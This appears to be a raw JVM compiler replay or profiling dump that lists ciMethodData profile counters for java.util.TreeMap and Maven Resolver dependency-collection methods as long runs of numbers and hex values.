0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 0 0 0 1 10 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 6 0 2 0 0 0 0 0 0 0 112 0 0 0 254 255 255 255 5 0 2 0 0 0 0 0 data 24 0x20005 0x140 0x0 0x0 0x0 0x0 0x0 0x70007 0x83 0x38 0xbd 0xb0003 0xbd 0x18 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0x0 0xffffffffffffffff oops 0 methods 0\nciMethodData java/util/TreeMap getEntry (Ljava/lang/Object;)Ljava/util/TreeMap$Entry; 1 382 orig 320 144 166 201 142 252 127 0 0 64 133 196 8 182 1 0 0 40 3 0 0 136 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 25 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 0 0 0 105 11 0 0 33 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 1 0 15 0 2 0 0 0 0 0 0 0 160 1 0 0 254 255 255 255 7 0 4 0 0 0 0 0 data 62 0x40007 0x9f 0x58 0xce 0x90005 0xce 0x0 0x0 0x0 0x0 0x0 0xe0007 0x9f 0x30 0x0 0x150002 0x0 0x1a0004 0x0 0x0 0x1b6091888a0 0x9f 0x0 0x0 0x240007 0x9e 0xe0 0x5 0x2c0005 0x0 0x0 0x1b6091888a0 0x5 0x0 0x0 0x350007 0x1 0x38 0x4 0x3d0003 0x4 0x50 0x420007 0x1 0x38 0x0 0x4a0003 0x0 0x18 0x4f0003 0x4 0xffffffffffffff38 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0x0 0xffffffffffffffff oops 2 20 java/lang/Integer 31 java/lang/Integer methods 0\nciMethodData org/eclipse/aether/internal/impl/collect/df/DfDependencyCollector processDependency (Lorg/eclipse/aether/internal/impl/collect/df/DfDependencyCollector$Args;Lorg/eclipse/aether/RequestTrace;Lorg/eclipse/aether/internal/impl/collect/DependencyCollectorDelegate$Results;Ljava/util/List;Lorg/eclipse/aether/collection/DependencySelector;Lorg/eclipse/aether/collection/DependencyManager;Lorg/eclipse/aether/collection/DependencyTraverser;Lorg/eclipse/aether/collection/VersionFilter;Lorg/eclipse/aether/graph/Dependency;Ljava/util/List;Z)V 2 5673 orig 320 144 166 201 142 252 127 0 0 144 72 61 20 182 1 0 0 40 17 0 0 8 3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 3 1 0 0 49 169 0 0 241 60 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 1 0 95 0 2 0 0 0 0 0 0 0 56 15 0 0 254 255 255 255 7 0 2 0 0 0 0 0 data 510 0x20007 0x0 0x78 0x1526 0x90005 0x0 0x0 0x1b61780e8c0 0x1526 0x0 0x0 0xe0007 0x7a2 0x20 0xd84 0x180005 0x7a2 0x0 0x0 0x0 0x0 0x0 0x240005 0x0 0x0 0x1b61780cd20 0x7a2 0x0 0x0 0x330002 0x7a2 0x3a0005 0x0 0x0 0x1b61780e970 0x7a2 0x0 0x0 0x410005 0x7a2 0x0 0x0 0x0 0x0 0x0 0x440002 0x7a2 0x4b0007 0x0 0xb0 0x7a2 0x500007 0x0 0x78 0x7a2 0x570005 0x0 0x0 0x1b61780ea20 0x7a2 0x0 0x0 0x5c0007 0x0 0x38 0x7a2 0x600003 0x7a2 0x18 0x6a0005 0x7a2 0x0 0x0 0x0 0x0 0x0 0x730002 0x7a2 0x830005 0x0 0x0 0x1b61780cd20 0x7a2 0x0 0x0 0x920002 0x7a2 0x970003 0x7a2 0x50 0xa80005 0x0 0x0 0x0 0x0 0x0 0x0 0xae0005 0x0 0x0 0x1b61780ead0 0x7a2 0x0 0x0 0xb70005 0x0 0x0 0x1b61780eb80 0xf40 0x0 0x0 0xbc0007 0x79e 0xbc0 0x7a2 0xc10005 0x0 0x0 0x1b61780eb80 0x7a2 0x0 0x0 0xc60004 0x0 0x0 0x1b61780ec30 0x7a2 0x0 0x0 0xcd0005 0x7a2 0x0 0x0 0x0 0x0 0x0 0xd20005 0x0 0x0 0x1b61780ec30 0x7a2 0x0 0x0 0xd70005 0x0 0x0 0x1b61780ece0 0x7a2 0x0 0x0 0xe20005 0x7a2 0x0 0x0 0x0 0x0 0x0 0xeb0005 0x7a2 0x0 0x0 0x0 0x0 0x0 0xf40002 0x7a2 0x1020002 0x7a1 0x1090007 0x0 0x8a8 0x7a1 0x1100005 0x7a1 0x0 0x0 0x0 0x0 0x0 0x1130005 0x7a1 0x0 0x0 0x0 0x0 0x0 0x11c0005 0x7a1 0x0 0x0 0x0 0x0 0x0 0x12a0005 0x7a1 0x0 0x0 0x0 0x0 0x0 0x12d0002 0x7a1 0x1340007 0x7a1 0x180 0x0 0x1430005 0x0 0x0 0x0 0x0 0x0 0x0 0x14c0005 0x0 0x0 0x0 0x0 0x0 0x0 0x1530005 0x0 0x0 0x0 0x0 0x0 0x0 0x1580007 0x0 0xb8 0x0 0x1690002 0x0 0x1700005 0x0 0x0 0x0 0x0 0x0 0x0 0x1770005 0x0 0x0 0x0 0x0 0x0 0x0 0x17d0003 0x0 0xfffffffffffffb88 0x1820005 0x7a1 0x0 0x0 0x0 0x0 0x0 0x1850005 0x0 0x0 0x1b61780ed90 0x7a1 0x0 0x0 0x18a0007 0x7a1 0x280 0x0 0x18f0005 0x0 0x0 0x0 0x0 0x0 0x0 0x1960005 0x0 0x0 0x0 0x0 0x0 0x0 0x1990005 0x0 0x0 0x0 0x0 0x0 0x0 0x19e0005 0x0 0x0 0x0 0x0 0x0 0x0 0x1a10007 0x0 0x138 0x0 0x1a60005 0x0 0x0 0x0 0x0 0x0 0x0 0x1ad0005 0x0 0x0 0x0 0x0 0x0 0x0 0x1b00005 0x0 0x0 0x0 0x0 0x0 0x0 0x1b50005 0x0 0x0 0x0 0x0 0x0 0x0 0x1b80007 0x0 0x38 0x0 0x1bc0003 0x0 0x18 0x1d40005 0x0 0x0 0x0 0x0 0x0 0x0 0x1d90002 0x0 0x1e90005 0x7a1 0x0 0x0 0x0 0x0 0x0 0x1ec0005 0x7a1 0x0 0x0 0x0 0x0 0x0 0x1ef0005 0x7a1 0x0 0x0 0x0 0x0 0x0 0x1f20005 0x7a1 0x0 0x0 0x0 0x0 0x0 0x1fb0005 0x7a1 0x0 0x0 0x0 0x0 0x0 0x2000002 0x7a1 0x2110005 0x7a1 0x0 0x0 0x0 0x0 0x0 0x21a0005 0x7a1 0x0 0x0 0x0 0x0 0x0 0x21d0002 0x7a1 0x2240005 0x0 0x0 0x1b61780ee40 0x7a1 0x0 0x0 0x22b0005 0x0 0x0 0x1b61780ead0 0x7a1 0x0 0x0 0x2330007 0x0 0xc8 0x7a1 0x2380005 0x7a1 0x0 0x0 0x0 0x0 0x0 0x23b0005 0x0 0x0 0x1b61780ead0 0x6e1 0x1b61780ed90 0xc0 0x2400007 0xc0 0x38 0x6e1 0x2440003 0x6e1 0x18 0x24c0007 0xc0 0x30 0x6e1 0x2630002 0x6e1 0x2660003 0x79e 0x150 0x26d0005 0x0 0x0 0x0 0x0 0x0 0x0 0x2760005 0x0 0x0 0x0 0x0 0x0 0x0 0x27b0002 0x0 0x2910005 0x0 0x0 0x0 0x0 0x0 0x0 0x2940002 0x0 0x29b0005 0x0 0x0 0x0 0x0 0x0 0x0 0x2a20005 0x0 0x0 0x0 0x0 0x0 0x0 0x2a80003 0x79e 0xfffffffffffff420 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0xc 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 oops 16 7 org/eclipse/aether/util/graph/selector/AndDependencySelector 25 org/eclipse/aether/internal/impl/collect/df/DfDependencyCollector 34 org/eclipse/aether/internal/impl/collect/PremanagedDependency 58 org/eclipse/aether/util/graph/traverser/FatArtifactTraverser 81 org/eclipse/aether/internal/impl/collect/df/DfDependencyCollector 100 java/util/ArrayList 107 java/util/ArrayList$Itr 118 java/util/ArrayList$Itr 125 org/eclipse/aether/util/version/GenericVersion 139 org/eclipse/aether/util/version/GenericVersion 146 org/eclipse/aether/artifact/DefaultArtifact 260 java/util/Collections$EmptyList 400 org/eclipse/aether/graph/DefaultDependencyNode 407 java/util/ArrayList 425 java/util/ArrayList 427 java/util/Collections$EmptyList methods 0\nciMethodData org/eclipse/aether/internal/impl/collect/DependencyCollectorDelegate collectStepTrace (Lorg/eclipse/aether/RequestTrace;Ljava/lang/String;Ljava/util/List;Lorg/eclipse/aether/graph/Dependency;)Lorg/eclipse/aether/RequestTrace; 2 2054 orig 320 144 166 201 142 252 127 0 0 48 25 61 20 182 1 0 0 192 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 83 0 0 0 153 61 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 0 0 0 254 255 255 255 2 0 9 0 0 0 0 0 data 17 0x90002 0x7b3 0xc0002 0x7b3 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x5 0x0 0x0 0x0 0x0 0x0 oops 0 methods 0\nciMethodData org/eclipse/aether/internal/impl/collect/CollectStepDataImpl <init> (Ljava/lang/String;Ljava/util/List;Lorg/eclipse/aether/graph/Dependency;)V 2 2056 orig 320 144 166 201 142 252 127 0 0 96 174 153 20 182 1 0 0 128 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 83 0 0 0 169 61 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 12 0 2 0 0 0 0 0 0 0 232 0 0 0 254 255 255 255 2 0 1 0 0 0 0 0 data 41 0x10002 0x7b5 0x60002 0x7b5 0x90004 0x0 0x0 0x1b609184e10 0x82 0x0 0x0 0x110002 0x7b5 0x140004 0x0 0x0 0x1b61780ead0 0x7b5 0x0 0x0 0x1c0002 0x7b5 0x1f0004 0x0 0x0 0x1b61780d5d0 0x82 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x4 0xe 0x0 0x0 0x0 oops 3 7 java/lang/String 16 java/util/ArrayList 25 org/eclipse/aether/graph/Dependency methods 0\nciMethodData org/eclipse/aether/internal/impl/collect/PremanagedDependency create (Lorg/eclipse/aether/collection/DependencyManager;Lorg/eclipse/aether/graph/Dependency;ZZ)Lorg/eclipse/aether/internal/impl/collect/PremanagedDependency; 2 2076 orig 320 144 166 201 142 252 127 0 0 168 218 104 20 182 1 0 0 72 8 0 0 104 6 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 83 0 0 0 73 62 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 59 0 2 0 0 0 0 0 0 0 176 6 0 0 254 255 255 255 7 0 1 0 0 0 0 0 data 226 0x10007 0x0 0x70 0x7c9 0x60005 0x0 0x0 0x1b612d61160 0x7c9 0x0 0x0 0xb0003 0x7c9 0x18 0x250007 0x6a7 0x630 0x122 0x2a0005 0x122 0x0 0x0 0x0 0x0 0x0 0x2d0007 0x2 0x158 0x120 0x310007 0x0 0x138 0x120 0x350005 0x120 0x0 0x0 0x0 0x0 0x0 0x3c0005 0x0 0x0 0x1b61780ece0 0x120 0x0 0x0 0x480005 0x120 0x0 0x0 0x0 0x0 0x0 0x4b0005 0x0 0x0 0x1b61780ece0 0x120 0x0 0x0 0x500005 0x120 0x0 0x0 0x0 0x0 0x0 0x5c0005 0x122 0x0 0x0 0x0 0x0 0x0 0x5f0007 0x122 0x138 0x0 0x630005 0x0 0x0 0x0 0x0 0x0 0x0 0x6a0005 0x0 0x0 0x0 0x0 0x0 0x0 0x760005 0x0 0x0 0x0 0x0 0x0 0x0 0x790005 0x0 0x0 0x0 0x0 0x0 0x0 0x7e0005 0x0 0x0 0x0 0x0 0x0 0x0 0x8b0005 0x122 0x0 0x0 0x0 0x0 0x0 0x8e0007 0x117 0xc8 0xb 0x920005 0xb 0x0 0x0 0x0 0x0 0x0 0x9a0005 0xb 0x0 0x0 0x0 0x0 0x0 0x9d0005 0xb 0x0 0x0 0x0 0x0 0x0 0xa90005 0x122 0x0 0x0 0x0 0x0 0x0 0xac0007 0x122 0xd8 0x0 0xb00005 0x0 0x0 0x0 0x0 0x0 0x0 0xb30002 0x0 0xbb0005 0x0 0x0 0x0 0x0 0x0 0x0 0xbe0005 0x0 0x0 0x0 0x0 0x0 0x0 0xca0005 0x122 0x0 0x0 0x0 0x0 0x0 0xcd0007 0x117 0xc8 0xb 0xd10005 0xb 0x0 0x0 0x0 0x0 0x0 0xd90005 0xb 0x0 0x0 0x0 0x0 0x0 0xdc0005 0xb 0x0 0x0 0x0 0x0 0x0 0xf90002 0x7c9 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x4 0x0 0x0 0x0 0x0 oops 3 7 org/eclipse/aether/util/graph/manager/ClassicDependencyManager 43 org/eclipse/aether/artifact/DefaultArtifact 57 org/eclipse/aether/artifact/DefaultArtifact methods 0\nciMethodData org/eclipse/aether/internal/impl/collect/DependencyCollectorDelegate isLackingDescriptor (Lorg/eclipse/aether/artifact/Artifact;)Z 2 2204 orig 320 144 166 201 142 252 127 0 0 32 36 61 20 182 1 0 0 240 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 84 0 0 0 65 66 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 10 0 2 0 0 0 0 0 0 0 112 0 0 0 254 255 255 255 5 0 5 0 0 0 0 0 data 23 0x50005 0x0 0x0 0x1b61780ece0 0x848 0x0 0x0 0xa0007 0x848 0x38 0x0 0xe0003 0x0 0x18 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x1 0x0 oops 1 3 org/eclipse/aether/artifact/DefaultArtifact methods 0\nciMethodData org/eclipse/aether/util/graph/traverser/FatArtifactTraverser traverseDependency (Lorg/eclipse/aether/graph/Dependency;)Z 2 2204 orig 320 144 166 201 142 252 127 0 0 200 30 193 20 182 1 0 0 80 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 84 0 0 0 65 66 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 13 0 2 0 0 0 0 0 0 0 200 0 0 0 254 255 255 255 2 0 3 0 0 0 0 0 data 35 0x30002 0x848 0x80005 0x848 0x0 0x0 0x0 0x0 0x0 0xf0005 0x0 0x0 0x1b61780ece0 0x848 0x0 0x0 0x160002 0x848 0x190007 0x0 0x38 0x848 0x1d0003 0x848 0x18 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0x0 0x0 oops 1 12 org/eclipse/aether/artifact/DefaultArtifact methods 0\nciMethodData org/eclipse/aether/internal/impl/collect/DependencyCollectorDelegate createVersionRangeRequest (Ljava/lang/String;Lorg/eclipse/aether/RequestTrace;Ljava/util/List;Lorg/eclipse/aether/graph/Dependency;)Lorg/eclipse/aether/resolution/VersionRangeRequest; 2 2177 orig 320 144 166 201 142 252 127 0 0 56 34 61 20 182 1 0 0 192 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 83 0 0 0 113 65 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 11 0 2 0 0 0 0 0 0 0 40 1 0 0 254 255 255 255 2 0 4 0 0 0 0 0 data 49 0x40002 0x82e 0xc0005 0x82e 0x0 0x0 0x0 0x0 0x0 0xf0005 0x82e 0x0 0x0 0x0 0x0 0x0 0x160005 0x82e 0x0 0x0 0x0 0x0 0x0 0x1d0005 0x82e 0x0 0x0 0x0 0x0 0x0 0x240005 0x82e 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x4 0x0 0x0 0x0 0x0 oops 0 methods 0\nciMethodData org/eclipse/aether/internal/impl/collect/DependencyCollectorDelegate cachedResolveRangeResult (Lorg/eclipse/aether/resolution/VersionRangeRequest;Lorg/eclipse/aether/internal/impl/collect/DataPool;Lorg/eclipse/aether/RepositorySystemSession;)Lorg/eclipse/aether/resolution/VersionRangeResult; 2 2177 orig 320 144 166 201 142 252 127 0 0 80 35 61 20 182 1 0 0 152 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 83 0 0 0 113 65 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 9 0 2 0 0 0 0 0 0 0 0 1 0 0 254 255 255 255 5 0 2 0 0 0 0 0 data 44 0x20005 0x82e 0x0 0x0 0x0 0x0 0x0 0xb0005 0x82e 0x0 0x0 0x0 0x0 0x0 0x120007 0x3c9 0x90 0x465 0x1b0005 0x0 0x0 0x1b61f668c40 0x465 0x0 0x0 0x270005 0x465 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x4 0x0 0x0 0x0 0x0 oops 1 21 org/apache/maven/repository/internal/DefaultVersionRangeResolver methods 0\nciMethodData org/eclipse/aether/internal/impl/collect/DependencyCollectorDelegate filterVersions (Lorg/eclipse/aether/graph/Dependency;Lorg/eclipse/aether/resolution/VersionRangeResult;Lorg/eclipse/aether/collection/VersionFilter;Lorg/eclipse/aether/internal/impl/collect/DefaultVersionFilterContext;)Ljava/util/List; 2 3108 orig 320 144 166 201 142 252 127 0 0 232 38 61 20 182 1 0 0 8 8 0 0 240 3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 84 0 0 0 129 94 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 68 0 2 0 0 0 0 0 0 0 112 6 0 0 254 255 255 255 5 0 1 0 0 0 0 0 data 218 0x10005 0xbd0 0x0 0x0 0x0 0x0 0x0 0x40005 0x0 0x0 0x1b61780ead0 0xbd0 0x0 0x0 0x90007 0xbd0 0x158 0x0 0x150002 0x0 0x1b0005 0x0 0x0 0x0 0x0 0x0 0x0 0x1f0005 0x0 0x0 0x0 0x0 0x0 0x0 0x220005 0x0 0x0 0x0 0x0 0x0 0x0 0x280005 0x0 0x0 0x0 0x0 0x0 0x0 0x2b0005 0x0 0x0 0x0 0x0 0x0 0x0 0x2e0002 0x0 0x330007 0xbd0 0x470 0x0 0x370005 0x0 0x0 0x0 0x0 0x0 0x0 0x3a0005 0x0 0x0 0x0 0x0 0x0 0x0 0x3f0007 0x0 0x3e0 0x0 0x450005 0x0 0x0 0x0 0x0 0x0 0x0 0x4a0005 0x0 0x0 0x0 0x0 0x0 0x0 0x4f0003 0x0 0x118 0x5d0002 0x0 0x630005 0x0 0x0 0x0 0x0 0x0 0x0 0x670005 0x0 0x0 0x0 0x0 0x0 0x0 0x6a0005 0x0 0x0 0x0 0x0 0x0 0x0 0x6d0005 0x0 0x0 0x0 0x0 0x0 0x0 0x720002 0x0 0x770005 0x0 0x0 0x0 0x0 0x0 0x0 0x7e0005 0x0 0x0 0x0 0x0 0x0 0x0 0x830007 0x0 0x200 0x0 0x8f0002 0x0 0x950005 0x0 0x0 0x0 0x0 0x0 0x0 0x990005 0x0 0x0 0x0 0x0 0x0 0x0 0x9c0005 0x0 0x0 0x0 0x0 0x0 0x0 0xa20005 0x0 0x0 0x0 0x0 0x0 0x0 0xa60005 0x0 0x0 0x0 0x0 0x0 0x0 0xa90005 0x0 0x0 0x0 0x0 0x0 0x0 0xac0005 0x0 0x0 0x0 0x0 0x0 0x0 0xaf0002 0x0 0xb40005 0xbd0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x4 0x0 0x0 0x0 0x0 oops 1 10 java/util/ArrayList methods 0\nciMethodData org/eclipse/aether/internal/impl/collect/DependencyCollectorDelegate$Results addException (Lorg/eclipse/aether/graph/Dependency;Ljava/lang/Exception;Ljava/util/List;)V 1 0 orig 320 144 166 201 142 252 127 0 0 160 52 105 20 182 1 0 0 88 6 0 0 224 3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 